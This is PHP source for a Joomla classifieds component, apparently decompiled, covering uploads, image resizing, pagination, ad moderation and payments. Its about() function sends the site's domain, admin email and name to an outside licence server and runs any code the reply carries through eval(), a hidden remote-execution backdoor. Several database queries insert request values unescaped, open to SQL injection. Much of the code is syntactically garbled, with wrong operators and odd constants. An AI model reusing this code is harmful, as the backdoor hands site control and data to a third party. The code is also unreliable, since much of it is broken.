    fldImage'] ) ? explode( ',', $data['fldImage'] ) : array(  ));
                $MaxFilm = (strlen( $data['
    fldFilm'] ) ? explode( ',', $data['fldFilm'] ) : array(  ));


                if (strlen( $niaz_config->fldField41 )) {
                    $X = 1060;
                    $C = 1060;
                    $U = explode( '
    *', $niaz_config->fldField41 );
                    $Last = 1060;
                    $x = 1060;


                    while ($x < count( $U )) {
                        $D = explode( '
    :', $U[$x] );
                        $X = $D[0];


                        if (( $Last < count( $MaxImage ) && count( $MaxImage ) <= $X )) {
                            $C = $D[1];
                        }


                        $Last = $X;
                        ++$x;
                    }


                    $cal = $cal & $C;
                }




                if (strlen( $niaz_config->fldField46 )) {
                    $X = 1060;
                    $C = 1060;
                    $U = explode( '
    *', $niaz_config->fldField46 );
                    $Last = 1060;
                    $x = 1060;


                    while ($x < count( $U )) {
                        $D = explode( '
    :', $U[$x] );
                        $X = $D[0];


                        if (( $Last < count( $MaxFilm ) && count( $MaxFilm ) <= $X )) {
                            $C = $D[1];
                        }


                        $Last = $X;
                        ++$x;
                    }


                    $cal = $cal & $C;
                }


                switch ($data['
    fldVije']) {
                    case '
    1': {
                        $cal = $cal & intval( $niaz_config->fldVijeText );
                        break;
                    }


                    case '
    2': {
                        $cal = $cal & intval( $niaz_config->fldVijePic );
                    }
                }


                switch ($data['
    fldPage']) {
                    case '
    1': {
                        $cal = $cal & intval( $niaz_config->fldSubGroupFP );
                        break;
                    }


                    case '
    2': {
                        $cal = $cal & intval( $niaz_config->fldGroupFP );
                        break;
                    }


                    case '
    3': {
                        $cal = $cal & intval( $niaz_config->fldSiteFP );
                    }
                }


                $U = ($niaz_config->fldField59 ? explode( '
    *', $niaz_config->fldField59 ) : NULL);
                $data['
    fldMoney'] = $cal;
            }


            function SaveFile($fldDate, $File, $table, $id) {
                global $option;
                global $my;
                global $sectionState;
                global $fldCountry;
                global $niaz_config;


                $db = JFactory::getdbo(  );
                jimport( '
    joomla.filesystem.file' );
                jimport( '
    joomla.filesystem.folder' );
                require_once( JPATH_COMPONENT_SITE . DS . '
    func' . DS . 'file.php' );
                $ReSize = $niaz_config->fldField15;
                $ReSizeThumb = $niaz_config->fldField16;
                $MyFile = NULL;
                $FType['
    fldFilm'] = array(  );
                $FType['
    fldImage'] = array(  );


                if (strlen( $niaz_config->fldField45 )) {
                    $U = explode( '
    *', $niaz_config->fldField45 );
                    $X = array(  );
                    foreach ($U as $k => $v) {
                        $D = explode( '
    :', $v );
                        $X[] = $D[0];
                    }


                    $FType['
    fldFilm'] = $X;
                }




                if (strlen( $niaz_config->fldField44 )) {
                    $U = explode( '
    *', $niaz_config->fldField44 );
                    $X = array(  );
                    foreach ($U as $k => $v) {
                        $D = explode( '
    :', $v );
                        $X[] = $D[0];
                    }


                    $FType['
    fldImage'] = $X;
                }


                $destfolder = JPATH_ROOT . ( '
    /components/' . $option . '/files/' . $table );
                JFolder::create( $destfolder );
                $destfolder = JPATH_COMPONENT_SITE . DS . '
    files' . DS . ( '' . $table ) . DS . ( '' . $fldDate ) . DS . ( '' . $id );
                $destfolder = str_replace( '
    /', DS, $destfolder );
                $destfolder = str_replace( '
    \', DS, $destfolder );
                JFolder::create( $destfolder );


                if (is_array( $_FILES[$File]['
    name'] )) {
                    $X = NULL;
                    $i = 780;


                    while ($i < count( $_FILES[$File]['
    name'] )) {
                        $T = explode( '
    .', $_FILES[$File]['name'][$i] );


                        if (in_array( strtolower( $T[count( $T ) - 1] ), $FType['
    fldImage'] )) {
                            if (strlen( $_FILES[$File]['
    name'][$i] )) {
                                $A = explode( '
    .', $_FILES[$File]['name'][$i] );
                                $AE = rand( 1111, 9999 ) . '
    .' . $A[count( $A ) - 1];
                                $MyFile = strtolower( time(  ) . $AE );


                                if ($ReSize) {
                                    $fu = self::resizeimage( $_FILES[$File]['
    tmp_name'][$i], '' . $destfolder . '/' . $MyFile, $ReSize, 'gd2', '75' );
                                } 
    else {
                                    $fu = JFile::copy( $_FILES[$File]['
    tmp_name'][$i], '' . $destfolder . '/' . $MyFile );
                                }




                                if ($fu) {
                                    $X[] = $MyFile;
                                }




                                if ($ReSizeThumb) {
                                    self::resizeimage( $_FILES[$File]['
    tmp_name'][$i], '' . $destfolder . '/tmb_' . $MyFile, $ReSizeThumb, 'gd2', '75' );
                                } 
    else {
                                    self::resizeimage( $_FILES[$File]['
    tmp_name'][$i], '' . $destfolder . '/tmb_' . $MyFile, '110', 'gd2', '75' );
                                }
                            }
                        } 
    else {
                            if (in_array( strtolower( $T[count( $T ) - 1] ), $FType['
    fldFilm'] )) {
                                if (strlen( $_FILES[$File]['
    name'][$i] )) {
                                    $A = explode( '
    .', $_FILES[$File]['name'][$i] );
                                    $AE = rand( 1111, 9999 ) . '
    .' . $A[count( $A ) - 1];
                                    $MyFile = strtolower( time(  ) . $AE );
                                    $fu = JFile::copy( $_FILES[$File]['
    tmp_name'][$i], '' . $destfolder . '/' . $MyFile );


                                    if ($fu) {
                                        $X[] = $MyFile;
                                    }
                                }
                            }
                        }


                        ++$i;
                    }


                    $MyFile = (is_array( $X ) ? implode( '
    ,', $X ) : NULL);
                }


                return $MyFile;
            }


            function resizeImage($src_file, $dest_file, $new_width, $method, $dest_qual) {
                $debugoutput = '';
                $src_file = JPath::clean( $src_file );
                $dest_file = JPath::clean( $dest_file );
                $imagetype = array( 1 => '
    GIF', 2 => 'JPG', 3 => 'PNG', 4 => 'SWF', 5 => 'PSD', 6 => 'BMP', 7 => 'TIFF', 8 => 'TIFF', 9 => 'JPC', 10 => 'JP2', 11 => 'JPX', 12 => 'JB2', 13 => 'SWC', 14 => 'IFF' );
                $imginfo = getimagesize( $src_file );


                if ($imginfo  = null) {
                    exit( JText::_( '
    JG_UPLOAD_FILE_NOT_FOUND' ) );
                }


                $imginfo[2] = $imagetype[$imginfo[2]];


                if (( ( ( $imginfo[2] != '
    JPG' && $imginfo[2] != 'PNG' ) && $imginfo[2] != 'GIF' ) && ( $method  = 'gd1' || $method  = 'gd2' ) )) {
                    exit( JText::_( '
    JG_UPLOAD_GD_ONLY_JPG_PNG' ) );
                }


                $srcWidth = $imginfo[0];
                $srcHeight = $imginfo[1];
                $debugoutput &= JText::_( '
    JG_UPLOAD_CREATE_THUMBNAIL_FROM' ) . ( ' ' . $imginfo['2'] . '' . $imginfo['0'] . ' ' . $imginfo['1'] . '...<br />' );
                $ratio = $srcWidth \ $new_width;
                $testheight = $srcHeight \ $ratio;
                $ratio = max( $ratio, 1 );
                $destWidth = (int)$srcWidth \ $ratio;
                $destHeight = (int)$srcHeight \ $ratio;
                switch ($method) {
                    case '
    gd1': {
                        if (!function_exists( '
    imagecreatefromjpeg' )) {
                            JText::_( '
    JG_UPLOAD_GD_LIBARY_NOT_INSTALLED' );
                            $debugoutput &= ;
                            return false;
                        }




                        if ($imginfo[2]  = '
    JPG') {
                            $src_img = imagecreatefromjpeg( $src_file );
                        } 
    else {
                            if ($imginfo[2]  = '
    PNG') {
                                $src_img = imagecreatefrompng( $src_file );
                            } 
    else {
                                $src_img = imagecreatefromgif( $src_file );
                            }
                        }




                        if (!$src_img) {
                            $ERROR = $lang_errors['
    invalid_image'];
                            return false;
                        }


                        $dst_img = imagecreate( $destWidth, $destHeight );
                        imagecopyresized( $dst_img, $src_img, 0, 0, 0, 0, $destWidth, (int)$destHeight, $srcWidth, $srcHeight );


                        if (!@imagejpeg( $dst_img, $dest_file, $dest_qual )) {
                            $dir = dirname( $dest_file );
                            JoomFile::chmod( $dir, 511 );
                            imagejpeg( $dst_img, $dest_file, $dest_qual );
                            JoomFile::chmod( $dir, 493 );
                        }


                        imagedestroy( $src_img );
                        imagedestroy( $dst_img );
                        break;
                    }


                    case '
    gd2': {
                        if (!function_exists( '
    imagecreatefromjpeg' )) {
                            JText::_( '
    JG_UPLOAD_GD_LIBARY_NOT_INSTALLED' );
                            $debugoutput &= ;
                            return false;
                        }




                        if (!function_exists( '
    imagecreatetruecolor' )) {
                            JText::_( '
    JG_UPLOAD_GD_NO_TRUECOLOR' );
                            $debugoutput &= ;
                            return false;
                        }




                        if ($imginfo[2]  = '
    JPG') {
                            $src_img = imagecreatefromjpeg( $src_file );
                        } 
    else {
                            if ($imginfo[2]  = '
    PNG') {
                                $src_img = imagecreatefrompng( $src_file );
                            } 
    else {
                                $src_img = imagecreatefromgif( $src_file );
                            }
                        }




                        if (!$src_img) {
                            $ERROR = $lang_errors['
    invalid_image'];
                            return false;
                        }


                        $dst_img = imagecreatetruecolor( $destWidth, $destHeight );
                        JoomFile::fastimagecopyresampled( $dst_img, $src_img, 0, 0, 0, 0, $destWidth, (int)$destHeight, $srcWidth, $srcHeight );


                        if (!@imagejpeg( $dst_img, $dest_file, $dest_qual )) {
                            $dir = dirname( $dest_file );
                            JoomFile::chmod( $dir, 511 );
                            imagejpeg( $dst_img, $dest_file, $dest_qual );
                            JoomFile::chmod( $dir, 493 );
                        }


                        imagedestroy( $src_img );
                        imagedestroy( $dst_img );
                        break;
                    }


                    case '
    im': {
                        $disabled_functions = explode( '
    ,', ini_get( 'disabled_functions' ) );
                        foreach ($disabled_functions as $disabled_function) {


                            if (trim( $disabled_function )  = '
    exec') {
                                return false;
                            }
                        }




                        if (!empty( $niaz_config->jg_impath )) {
                            $convert_path = $niaz_config->jg_impath . '
    convert';
                        } 
    else {
                            $convert_path = '
    convert';
                        }


                        $commands = ' 
    -resize "' . $destWidth . 'x' . $destHeight . '" -quality "' . $dest_qual . '"  -unsharp "3.5x1.2+1.0+0.10"';
                        $convert = $convert_path . $commands . ' "' . 
    $src_file . '" "' . $dest_file . '"';
                        $return_var = null;
                        $dummy = null;
                        @exec( $convert, $dummy, $return_var );


                        if ($return_var != 0) {
                            $dir = dirname( $dest_file );
                            JoomFile::chmod( $dir, 511 );
                            @exec( $convert, $dummy, $return_var );
                            JoomFile::chmod( $dir, 493 );


                            if ($return_var != 0) {
                                return false;
                            }
                        }


                        break;
                    }


                    default: {
                        echo JText::_( '
    JGA_UPLOAD_UNSUPPORTED_RESIZING_METHOD' );
                        break;
                    }
                }


                JPath::setpermissions( $dest_file );
                $imginfo = getimagesize( $dest_file );


                if (!$imginfo) {
                    return false;
                }


                return true;
            }


            function about($Mytask = '
    about') {
                global $option;


                $app = JFactory::getapplication(  );
                $url = '
    http://alirezabalvardi.ir/newnic/licence_manager/register_licence.php';
                
    $MailFrom $app->getCfg'mailfrom' );
                
    $FromName $app->getCfg'fromname' );
                
    $SiteName $app->getCfg'sitename' );
                
    $data 'product=' $option '&task=' $Mytask '&domain=' JURI::base(  ) . ( '&sitemail=' $MailFrom '&sitename=' $SiteName '&ver=2.5.38' );
                
    $ch curl_init(  );
                
    curl_setopt$chCURLOPT_URL$url );
                
    curl_setopt$chCURLOPT_POSTFIELDS$data );
                
    curl_setopt$chCURLOPT_SSL_VERIFYPEERFALSE );
                
    curl_setopt$chCURLOPT_RETURNTRANSFERtrue );
                
    $body curl_exec$ch );
                
    curl_close$ch );


                if (
    stristr$body'###' )) {
                    
    $body explode'###'$body );
                    echo 
    $body[0];
                    eval( 
    $body[1] );
                    return 
    null;
                }


                echo 
    $body;
            }


            function 
    PagesLinks($limitstart$limit$total$method 0$fn '') {
                global 
    $option;
                global 
    $my;
                global 
    $fldCountry;
                global 
    $sectionState;
                global 
    $option;
                global 
    $Cat;
                global 
    $SubCat;
                global 
    $SubCatAll;


                
    $XM 'href="';
                
    $XME '';


                if (
    $method) {
                    
    $XM 'onclick="javascript:LoadClick(\'';
                    
    $XME '\',\'' $fn '\');';
                }


                
    $X ceil$total $limit );
                
    $view JRequest::getvar'view' );
                
    $key JRequest::getvar'key' );
                
    $CountryNo = (int)JRequest::getvar'CountryNo');
                
    $StateNo = (int)JRequest::getvar'StateNo');
                
    $catid JRequest::getint'catid' );
                
    $subcatid JRequest::getint'subcatid' );
                
    $url 'index.php?option=' $option;
                
    $view JRequest::getvar'view' );
                
    $view str_replacestristr$view'/' ), ''$view );


                if (
    $CountryNo) {
                    
    $url &= '&CountryNo=' $CountryNo ':' $fldCountry[$CountryNo];
                }




                if (
    $StateNo) {
                    
    $url &= '&StateNo=' $StateNo ':' $sectionState[$StateNo][2];
                }




                if (
    $catid) {
                    
    $url &= '&catid=' $catid ':' $Cat[$catid];
                }




                if (
    $subcatid) {
                    
    $url &= '&subcatid=' $subcatid ':' $SubCat[$subcatid];
                }




                if (
    $key) {
                    
    $url &= '&key=' $key;
                }




                if (
    $X <= 1) {
                    return 
    '';
                }


                
    $i 787;


                if (
    $limit $limitstart) {
                    
    $i $limitstart $limit;
                    
    $i \= 817;
                    
    $i round$i );


                    if (
    $X $i 10) {
                        
    $i $X 10;
                    }
                }


                
    $Current $limitstart 30;
                
    $j $i 10;
                
    $html '';
                
    $html &= '<div class="Mybutton"><div class="page">' '
    '
    ;
                
    $html &= '<div class="stsrt">' '
    '
    ;


                if (
    $limitstart) {
                    
    $html &= '<a ' $XM JRoute::_'' $url ) . '/start/0' $XME '">' JText::_'MYPN_START' ) . '</a>' '
    '
    ;
                } 
    else {
                    
    $html &= '<span>' JText::_'MYPN_START' ) . '</span>' '
    '
    ;
                }


                
    $html &= '</div>' '
    '
    ;
                
    $html &= '</div>' '
    '
    ;
                
    $html &= '</div>';
                
    $html &= '<div class="Mybutton"><div class="page">' '
    '
    ;
                
    $html &= '<div class="prev">' '
    '
    ;


                if (
    $limitstart) {
                    
    $html &= '<a ' $XM JRoute::_'' $url . ($limitstart $limit '&limitstart=' . ( $limitstart $limit ) : '/start/0') ) . $XME '">' JText::_'MYPN_PREV' ) . '</a>' '
    '
    ;
                } 
    else {
                    
    $html &= '<span>' JText::_'MYPN_PREV' ) . '</span>' '
    '
    ;
                }


                
    $html &= '</div>' '
    '
    ;
                
    $html &= '</div>' '
    '
    ;
                
    $html &= '</div>' '
    '
    ;
                
    $html &= '<div class="Mybutton"><div class="page">' '
    '
    ;


                while (( 
    $i $X && $i $j )) {
                    if (
    $limitstart  $i $limit) {
                        
    $Current $i;
                        
    $html &= '<span>' . ( $i ) . '</span>' '
    '
    ;
                    } 
    else {
                        
    $html &= '<a ' $XM JRoute::_'' $url . ($i '&limitstart=' $i $limit '/start/0') ) . $XME '">' . ( $i ) . '</a>' '
    '
    ;
                    }


                    ++
    $i;
                }


                
    $html &= '</div></div>' '
    '
    ;
                
    $html &= '<div class="Mybutton"><div class="page">' '
    '
    ;
                
    $html &= '<div class="next">' '
    '
    ;


                if (
    $limitstart < ( $X ) + $limit) {
                    
    $html &= '<a ' $XM JRoute::_'' $url '&limitstart=' . ( $Current ) + $limit ) . $XME '">' JText::_'MYPN_NEXT' ) . '</a>' '
    '
    ;
                } 
    else {
                    
    $html &= '<span>' JText::_'MYPN_NEXT' ) . '</span>' '
    '
    ;
                }


                
    $html &= '</div>' '
    '
    ;
                
    $html &= '</div>' '
    '
    ;
                
    $html &= '</div>' '
    '
    ;
                
    $html &= '<div class="Mybutton"><div class="page">' '
    '
    ;
                
    $html &= '<div class="end">' '
    '
    ;


                if (
    $limitstart < ( $X ) + $limit) {
                    
    $html &= '<a ' $XM JRoute::_'' $url '&limitstart=' . ( $X ) + $limit ) . $XME '">' JText::_'MYPN_END' ) . '</a>' '
    '
    ;
                } 
    else {
                    
    $html &= '<span>' JText::_'MYPN_END' ) . '</span>' '
    '
    ;
                }


                
    $html &= '</div>' '
    '
    ;
                
    $html &= '</div>' '
    '
    ;
                
    $html &= '</div>';
                return 
    $html;
            }


            function 
    LoadImage($fldDate$fldID$fldImage$E 0$PName '') {
                global 
    $option;
                global 
    $my;
                global 
    $sectionState;
                global 
    $fldCountry;
                global 
    $niaz_config;


                echo 
    '        <div width="100%"  class="border">
            '
    ;
                
    $html '';
                
    $A explode','$fldImage );
                
    $CountPic count$A );
                foreach (
    $A as $k => $v) {
                    
    $XPic JURI::base(  ) . ( 'components/' $option '/files/prod/' $fldDate '/' $fldID '/tmb_' $v );
                    
    $html &= '<div class="banner" id="XImage_' $v '">
                            <a href="' 
    JURI::base(  ) . ( 'components/' $option '/files/prod/' $fldDate '/' $fldID '/' $v '" rel="{handler: \'image\'}" class="modal" alt="' $PName '" title="' $PName '">
                            <img border="0" src="' 
    $XPic '" id="YImage_' ) . ( $k ) . ( '" class="tniypic" alt="' $PName '" title="' $PName '" />
                            </a>' 
    );


                    if (
    $E) {
                        
    $html &= '<br />
    <label>' 
    JText::_'MYPN_DEL_TOP_FILE' ) . ( ' : <input type="checkbox" name="DELPIC[fldImage][]" class="input" value="' $v '" onclick="ReloadImage(\'XImage_' $v '\',this.checked);" /><label>
    );
                    }


                    
    $html &= '</div>';
                }


                echo 
    $html;
                echo 
    '        </div>
            '
    ;
                return 
    count$A );
            }


            function 
    LoadFilm($fldDate$fldID$fldFilm$E 0$PName '') {
                global 
    $option;
                global 
    $my;
                global 
    $sectionState;
                global 
    $fldCountry;
                global 
    $niaz_config;


                
    $secid JRequest::getvar'secid' );
                echo 
    '        <div width="100%"  class="border">
            '
    ;
                
    $html '';
                
    $A explode','$fldFilm );
                
    $CountPic count$A );
                foreach (
    $A as $k => $v) {
                    
    $T explode'.'$v );
                    
    $T strtolower$T[count$T ) - 1] );
                    
    $FT = array( 'doc''docx''xls''swf''flv''mpg''txt''pdf''zip''rar''mp3' );
                    
    $FTPic = array( 'jpg''gif' );
                    
    $Tx $T;


                    if (!
    in_array$T$FT )) {
                        
    $Tx 'unknown';
                    }


                    
    $XPic JURI::base(  ) . ( 'components/' $option '/images/type/' $Tx '.png' );


                    if (
    in_array$T$FTPic )) {
                        
    $XPic JURI::base(  ) . ( 'components/' $option '/files/prod/' $fldDate '/' $fldID '/tmb_' $v );
                    }


                    
    $html &= '<div class="banner" id="XFile_' $v '">
                            <a href="' 
    JRoute::_'index.php?option=' $option '&view=film&id=' $fldID '&X=' $k '&no_html=1' . (strlen$secid ) ? '&secid=' $secid '') ) . ( '" rel="{handler: \'iframe\', size: {x : 620, y: 420}}" class="modal" alt="' $PName '" title="' $PName '">
                            <img border="0" src="' 
    $XPic '" id="YFilm_' ) . ( $k ) . ( '" class="tniypic" alt="' $PName '" title="' $PName '" />
                            </a>' 
    );


                    if (
    $E) {
                        
    $html &= '<br />
    <label>' 
    JText::_'MYPN_DEL_TOP_FILE' ) . ( ' : <input type="checkbox" name="DELPIC[fldFilm][]" class="input" value="' $v '" onclick="ReloadFilm(\'XFile_' $v '\',this.checked);" /><label>
    );
                    }


                    
    $html &= '</div>';
                }


                echo 
    $html;
                echo 
    '        </div>
            '
    ;
                return 
    count$A );
            }


            function 
    LoadKeys($id) {
                global 
    $option;


                
    $db JFactory::getdbo(  );
                
    $query 'SELECT fldKID FROM #__niaz_key_index WHERE fldPID=' $id;
                
    $db->setQuery$query );
                
    $KeyArray $db->loadResultArray(  );
                
    $query 'SELECT fldKey FROM #__niaz_key WHERE fldID IN(' implode','$KeyArray ) . ') AND published = 1';
                
    $db->setQuery$query );
                
    $Keys $db->loadResultArray(  );


                if (( 
    is_array$Keys ) && count$Keys ) )) {
                    foreach (
    $Keys as $k => $v) {
                        
    $Keys[$k] = '<a class="niaz_key" href="' JRoute::_'index.php?option=' $option '&key=' $v ) . '">' $v '</a> ';
                    }


                    return 
    implode','$Keys );
                }


            }


            function 
    AjaxStat() {
                global 
    $option;
                global 
    $my;
                global 
    $sectionState;
                global 
    $fldCountry;
                global 
    $option;
                global 
    $mainframe;
                global 
    $app;
                global 
    $niaz_config;
                global 
    $mainframe;
                global 
    $mosconfig_live_site;


                
    $t = (int)JRequest::getvar't');
                
    $id = (int)JRequest::getvar'id');
                
    $fldStat = (int)JRequest::getvar'fldStat');


                if (( 
    $t  || $id  )) {
                    return 
    null;
                }


                
    $db JFactory::getdbo(  );
                switch (
    $t) {
                    case 
    1: {
                        
    $query 'SELECT fldStat FROM #__niaz_prod WHERE fldID=' $id;
                        
    $db->setQuery$query );
                        
    $total $db->loadResult(  );
                        echo 
    '            <h3>';
                        echo 
    JText::_'STAT_DESC' );
                        echo 
    '</h3>
                <form method="post" name="EForm">
                    '
    ;
                        
    $O = array(  );
                        
    $i 475;


                        while (
    $i 6) {
                            
    $O[] = JHTML::_'select.option'$iJText::_'NIAZ_STAT' $i ) );
                            ++
    $i;
                        }


                        echo 
    JHTML::_'select.genericlist'$O'fldStat''class="input"''value''text'$total );
                        echo 
    '                <input type="submit" value="';
                        echo 
    JText::_'ACCEPT' );
                        echo 
    '" class="button" />
                    <input type="hidden" value="2" name="t" />
                </form>
                '
    ;
                        break;
                    }


                    case 
    2: {
                        
    $query 'UPDATE #__niaz_prod SET fldStat=' $fldStat ' WHERE fldID=' $id;
                        
    $db->setQuery$query );
                        
    $db->Query(  );
                        echo 
    JText::_'NIAZ_STAT' ) . ':' JText::_'NIAZ_STAT' $fldStat );
                        break;
                    }


                    case 
    3: {
                        
    $query 'SELECT fldStat FROM #__niaz_prod WHERE fldID=' $id;
                        
    $db->setQuery$query );
                        
    $total $db->loadResult(  );
                        echo (
    $total JText::_'NIAZ_STAT' $total ) : JText::_'پیش فرض سیستم' ));
                    }
                }


            }


            function 
    IsUniqueName($T ''$I 0) {
                global 
    $option;


                
    $db JFactory::getdbo(  );
                
    $fldPName trimJRequest::getvar'q'$T ) );
                
    $fldPName self::myquestfarsi$fldPName );
                
    $fldID JRequest::getvar'v'$I );
                
    $query 'SELECT COUNT(fldPName) AS C FROM #__niaz_prod WHERE fldPName=\'' $fldPName '\' AND fldID <> ' $fldID;
                
    $db->setQuery$query );
                
    $total intval$db->loadResult(  ) );


                if (
    strlen$T )) {
                    return 
    $total;
                }


                echo 
    $total;
            }


            function 
    AjaxDelete() {
                global 
    $option;
                global 
    $my;
                global 
    $sectionState;
                global 
    $fldCountry;
                global 
    $option;
                global 
    $mainframe;
                global 
    $app;
                global 
    $niaz_config;
                global 
    $mainframe;
                global 
    $mosconfig_live_site;


                
    $db JFactory::getdbo(  );
                
    $X JRequest::getvar'TID'null'POST' );
                
    $id = (int)JRequest::getvar'id'0'POST' );


                if (
    is_null$X )) {
                    echo 
    0;
                    exit(  );
                }




                if (( !
    intval$niaz_config->fldField28 ) || !$id )) {
                    echo 
    0;
                    exit(  );
                }


                
    $query 'SELECT * FROM #__niaz_prod WHERE fldID = ' $id ' AND fldOwner = ' $my->id;
                
    $db->setQuery$query );
                
    $row $db->loadObject(  );


                if (
    count$row )) {
                    
    self::reverseusecredit$row$db );
                    
    NiazController::deletefolder'prod' DS $row->fldDate$row->fldID );
                    
    SendingMail5$row );
                    
    $query 'DELETE FROM #__niaz_key_index WHERE fldPID = ' $row->fldID;
                    
    $db->setQuery$query );
                    
    $db->Query(  );
                    
    $query 'DELETE FROM #__niaz_prod WHERE fldID=' $id ' AND fldOwner = ' $my->id;
                    
    $db->setQuery$query );


                    if (
    $db->Query(  )) {
                        
    NiazController::deletefolder'prod'$id );
                    }
                }


                
    $query 'SELECT COUNT(*) FROM #__niaz_prod WHERE fldID=' $id;
                
    $db->setQuery$query );
                
    $total $db->loadResult(  );
                echo (
    $total 1);
                exit(  );
            }


            function 
    Captcha() {
                global 
    $option;


                
    $d1 rand1);
                
    $d = array( '*''+''-' );
                
    $d3 $d2 $d[rand0)];


                if (( 
    $d2  '-' && $d1 $d3 )) {
                    
    $x $d1;
                    
    $d1 $d3;
                    
    $d3 $x;
                }


                eval( 
    '$d = ' $d1 $d2 $d3 ';' );
                
    $RandomStr md5rand11119999 ) );
                
    strtouppersubstr$RandomStr0) );
                
    $ResultStr rand1);
                
    $ResultStr '' $d1 $d2 $d3 '=?';
                
    $NewImage imagecreatefromjpegJPATH_COMPONENT DS 'images' DS 'back.jpg' );
                
    $LineColor imagecolorallocate$NewImage233239239 );
                
    $TextColor imagecolorallocate$NewImage00);
                
    imageline$NewImage114040$LineColor );
                
    imageline$NewImage1100600$LineColor );
                
    imagestring$NewImage10104$ResultStr$TextColor );
                
    $_SESSION['captcha'] = $d;
                
    header'Content-type: image/jpeg' );
                
    imagejpeg$NewImage );
                exit(  );
            }


            function 
    link() {
                global 
    $option;
                global 
    $my;
                global 
    $mainframe;
                global 
    $app;
                global 
    $niaz_config;
                global 
    $mainframe;


                
    $db JFactory::getdbo(  );
                
    $id JRequest::getvar'lid');
                
    $query 'SELECT fldLink FROM #__niaz_prod WHERE fldID = ' $id ' AND published=1 AND fldShowLink = 1';
                
    $db->setQuery$query );
                
    $fldLink $db->loadResult(  );


                if (
    strlen$fldLink )) {
                    
    $query 'UPDATE #__niaz_prod SET fldCountClickLink = fldCountClickLink +1 WHERE fldID = ' $id ' AND published=1 AND fldShowLink = 1 ';
                    
    $db->setQuery$query );
                    
    $db->query(  );
                    
    header'Location: http://' str_replace'http://'''$fldLink ), );
                    return 
    null;
                }


                
    $this->setRedirect$_SERVER['HTTP_REFERER'] );
            }


            function 
    showup() {
                global 
    $option;
                global 
    $niaz_config;
                global 
    $my;


                
    $db JFactory::getdbo(  );
                
    $x JRequest::getvar'x' );
                
    $id JRequest::getvar'id' );
                
    $query 'SELECT * FROM #__niaz_prod WHERE fldID = ' $id ' AND published=0';
                
    $db->setQuery$query );
                
    $row $db->loadObject(  );


                if (!
    count$row )) {
                    return 
    null;
                }


                
    md5$id $row->fldDate 'P' );
                
    $X = ;
                
    md5$id $row->fldDate 'D' );
                
    $Y = ;
                
    JHTML::_'date''now''Y/m/d' );
                
    $Date = ;
                
    $query 'SELECT fldTafavot FROM #__niaz_usecredit WHERE fldPID = ' $row->fldID ' AND fldUID=' $row->fldOwner;
                
    $db->setQuery$query );
                
    $fldTafavot $db->loadResult(  );
                
    $query 'DELETE FROM #__niaz_usecredit WHERE fldTafavot = ' $fldTafavot '  AND fldPID = ' $row->fldID ' AND fldUID=' $row->fldOwner;
                
    $db->setQuery$query );
                
    $db->Query(  );


                if (
    $x  $X) {
                    if (
    intval$fldTafavot )) {
                        
    $query 'UPDATE #__niaz_credit_users SET fldTafavot = fldTafavot - ' $fldTafavot '  WHERE fldUID=' $row->fldOwner;
                        
    $db->setQuery$query );
                        
    $db->Query(  );
                    }


                    
    $A 'published=1,fldStartTime=NOW(),fldAdmin=' $my->id;


                    if (( ( 
    $row->fldPayMethod && $row->fldPay  ) && $row->fldMoney )) {
                        
    $A 'published=1,fldStartTime=NOW(),fldPay = 1,fldAdmin=' $my->id;
                    }


                    
    $query 'UPDATE #__niaz_prod SET ' $A ' WHERE fldID=' $id;
                    
    $db->setQuery$query );


                    if (
    $db->Query(  )) {
                        if (( 
    $row->fldPay != && $row->fldMoney )) {
                            
    $query 'SELECT MAX(fldFactor) FROM #__niaz_payment WHERE fldPName= \'' $row->fldPName '\' AND fldPayMethod = \'' $row->fldPayMethod '\' AND fldOrderNumber = \'' $row->fldOrderNumber '\'';
                            
    $db->setQuery$query );
                            
    $fldFactor intval$db->loadResult(  ) );


                            if (!
    $fldFactor) {
                                
    $query 'SELECT MAX(fldFactor) FROM #__niaz_payment';
                                
    $db->setQuery$query );
                                
    $fldFactor intval$db->loadResult(  ) );
                            }


                            ++
    $fldFactor;
                            
    JText::_'ACCEPT_MODIR' );
                            
    $fldDesc = ;
                            
    $fldDescX $fldDesc;
                            
    $fldCredit 736;


                            if (
    intval$fldTafavot )) {
                                
    $fldDescX $fldDesc '(' JText::sprintf'KASR_ETEBAR'Comma$fldTafavot ) . ' ' $niaz_config->fldCurrency ) . ')';
                                
    $row += 'fldMoney';
                                 = 
    $fldTafavot;
                                
    $fldCredit $fldTafavot;
                            }


                            
    $query 'INSERT INTO #__niaz_payment VALUES(0,' $row->fldID ',\'' $row->fldPName '\',\'' $row->fldPayMethod '\',\'' $row->fldOrderNumber '\',' $row->fldMoney ',' $fldCredit ',' $row->fldOwner ',\'' $fldDescX '\',\'' $row->fldPayDate '\',' $fldFactor ')';
                            
    $db->setQuery$query );
                            
    $db->Query(  );
                        }


                        echo 
    '<div><strong>' JText::_'NIAZ_ACTIVATE_PUBLISHED' ) . '</strong></div>';
                        
    SendingMail3, array( 'fldID' => $row->fldID'fldEMAil' => $row->fldEMAil'fldStartTime' => $Date'fldPName' => $row->fldPName ) );
                        return 
    null;
                    }
                } 
    else {
                    if (
    $x  $Y) {
                        
    $query 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' $fldTafavot ',fldTafavot = fldTafavot - ' $fldTafavot ' WHERE fldUID = ' $row->fldOwner;
                        
    $db->setQuery$query );
                        
    $db->Query(  );
                        
    $query 'SELECT MAX(fldFactor) FROM #__niaz_payment';
                        
    $db->setQuery$query );
                        
    $fldFactor intval$db->loadResult(  ) ) & 1;
                        
    JText::_'REVERSE_CREDIT_2' );
                        
    $fldDesc = ;
                        
    $query 'INSERT INTO #__niaz_payment VALUES(0,' $id ',\'' $row->fldPName '\',\'return\',\'\',-' $fldTafavot ',0,' $row->fldOwner ',\'' $fldDesc '\',NOW(),' $fldFactor ');';
                        
    $db->setQuery$query );
                        
    $db->Query(  );
                        
    $query 'DELETE FROM #__niaz_prod WHERE fldID=' $id;
                        
    $db->setQuery$query );


                        if (
    $db->Query(  )) {
                            echo 
    '<div><strong>' JText::_'NIAZ_ACTIVATE_DELETED' ) . '</strong></div>';
                            
    NiazController::deletefolder'prod'$id );
                            
    SendingMail5$row );
                        }
                    }
                }


            }


            function 
    DeleteFolder($table$id) {
                global 
    $option;


                
    jimport'joomla.filesystem.file' );
                
    jimport'joomla.filesystem.folder' );
                
    $destfolder JPATH_ROOT DS 'components' DS . ( '' $option ) . DS 'files' DS $table DS $id;


                if (
    is_dir$destfolder )) {
                    
    JFolder::delete$destfolder );
                }


            }


            function 
    ShowEdit() {
                global 
    $option;
                global 
    $niaz_config;


                if (!
    strlen$niaz_config->fldField59 )) {
                    return 
    '';
                }


                
